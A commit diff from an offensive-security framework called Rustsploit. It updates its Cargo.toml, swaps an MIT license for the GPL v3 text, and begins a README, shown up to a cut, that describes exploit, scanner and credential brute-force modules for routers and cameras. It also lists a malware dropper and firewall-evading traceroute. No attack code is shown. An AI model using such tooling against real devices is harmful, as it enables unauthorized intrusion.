/src/modules/t
/src/modules/exploits/t
+176 -84
View File
@@ -1,91 +1,183 @@
[package]
name = "rustsploit"
version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
#zte rce
# Add these to [dependencies]
aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
#avanti
url = "2.5.4"
semver = "1.0.26"
#stalk route full traceroute
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
version = "0.5.0"
edition = "2024"
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.1" # newer than 2.0
rand = "0.10"
rustyline = "18.0"
# CLI & Async runtime
clap = { version = "4.6", features = ["derive"] }
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
tokio-util = { version = "0.7", default-features = false }
# HTTP & Web
reqwest = { version = "0.13", default-features = false, features = ["json", "cookies", "socks", "multipart", "form", "stream", "rustls-no-provider", "charset", "http2"] }
h2 = "0.4"
http = "1.4"
bytes = "1.11.1"
tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "logging", "tls12"] }
url = "2.5"
quick-xml = "0.40"
data-encoding = "2.10"
semver = "1.0"
# Crypto & Encoding
aes = "0.9"
cipher = "0.5"
md5 = "0.8"
flate2 = "1.1"
base64 = "0.22"
# Networking & Protocols
socket2 = { version = "0.6", features = ["all"] }
pnet_packet = "0.35"
ipnetwork = "0.21"
regex = "1.12" # newest listed
which = "8.0"
# FTP
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
native-tls = "0.2"
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
rustls-pemfile = "2" # used by exploit/scanner modules
hyper = { version = "1", features = ["http1", "server"] }
hyper-util = { version = "0.1", features = ["tokio", "service"] }
# Telnet
crossbeam-channel = "0.5"
telnet = "0.2"
# SSH
libc = "0.2"
# Resource limits (safe wrapper for getrlimit/setrlimit)
rlimit = "0.11"
# Bluetooth
btleplug = { version = "0.12", optional = true }
# WPair migrated from ratatui+crossterm TUI to rustyline REPL — deps removed.
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.29"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = { version = "0.8", features = ["ws"] }
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
uuid = { version = "1.23", features = ["v4", "serde"] }
# DNS
hickory-client = { version = "0.26.0-alpha.1" }
hickory-proto = "0.26.0-alpha.1"
# Logging
tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
# Misc utilities
once_cell = "1.21"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.35"
des = { version = "0.9", features = ["zeroize"] }
zeroize = { version = "1", features = ["derive"] }
sha1 = "0.11"
strsim = "0.11"
ssh2 = "0.9.5"
num_cpus = "1.17.0"
# Compile-time module registry — every module self-registers via
# `register_native_module!` at file scope; `inventory::iter` walks the registry.
inventory = "0.3"
async-trait = "0.1"
# Constant-time comparison for security (timing attack prevention)
subtle = "2.6"
aes-gcm = "0.11.0-rc.3"
# Passphrase KDF for host key encryption at rest
argon2 = "0.5"
# Post-Quantum Encryption — triple hybrid: X25519 (classical) + ML-KEM-1024
# (FIPS 203, lattice) + Classic McEliece 460896f (code-based), all chained into
# the HKDF IKM, with ChaCha20-Poly1305 AEAD.
ml-kem = "0.3.0-rc.2"
kem = "0.3"
rand_core = "0.10"
# Classic McEliece (code-based KEM) — algorithmically independent of ML-KEM's
# lattice assumption. The crate pins rand 0.8 for its RNG trait bounds, so we
# also alias rand 0.8 purely to supply an OsRng to its encapsulate/keypair APIs.
classic-mceliece-rust = { version = "3.1", features = ["mceliece460896f"] }
rand08 = { package = "rand", version = "0.8" }
x25519-dalek = { version = "2.0", features = ["static_secrets", "zeroize"] }
chacha20poly1305 = "0.11.0-rc.3"
hkdf = "0.13"
sha2 = "0.11"
p256 = { version = "0.13", features = ["ecdh"] }
hex = "0.4"
# Dependency overrides to address security advisories in transitive dependencies
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
time = "0.3.47"
rmcp = { version = "1.7.0", features = ["server", "transport-io", "transport-async-rw"] }
# (ratatui 0.29 transitive advisories cleared when the TUI was replaced with rustyline.)
# ============================================
# Development profile: Fast incremental builds
# ============================================
[profile.dev]
opt-level = 0 # No optimization for fastest compile
debug = "line-tables-only" # Backtraces work; far less link time + disk than full debuginfo
incremental = true # Enable incremental compilation
split-debuginfo = "unpacked" # Faster link times
codegen-units = 256 # Maximize parallelism for dev builds
# Optimize dependencies in dev mode (they don't change often)
[profile.dev.package."*"]
opt-level = 2 # Deps are optimized but your code isn't
# ============================================
# Release profile: Maximum performance
# ============================================
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
# ============================================
# Custom profile: Fast release builds for testing
# Usage: cargo build --profile fast-release
# ============================================
[profile.fast-release]
inherits = "release"
lto = "thin" # Faster than fat LTO
codegen-units = 4 # Parallel codegen
[features]
default = ["bluetooth"]
bluetooth = ["dep:btleplug"]
+670 -17
View File
@@ -1,21 +1,674 @@
MIT License
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (c) 2025 S.B
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
Preamble
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+163 -173
View File
@@ -1,211 +1,201 @@
# Rustsploit 🛠️
# Rustsploit
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. One binary exposes the same module library through **four interfaces** — an interactive shell, a command-line runner, a post-quantum-encrypted REST/WebSocket API, and an MCP server — over an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services, with **Recog** service fingerprinting and **JARM/JA3** TLS fingerprinting built in.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
---
### Goals & To Do lists
Convert exploits and add modules
# completed
```
added stalkroute a traceroute with firewall evasion requires root
added malware dropper narruto dropper
added refactored and fixed and improve alot of modules
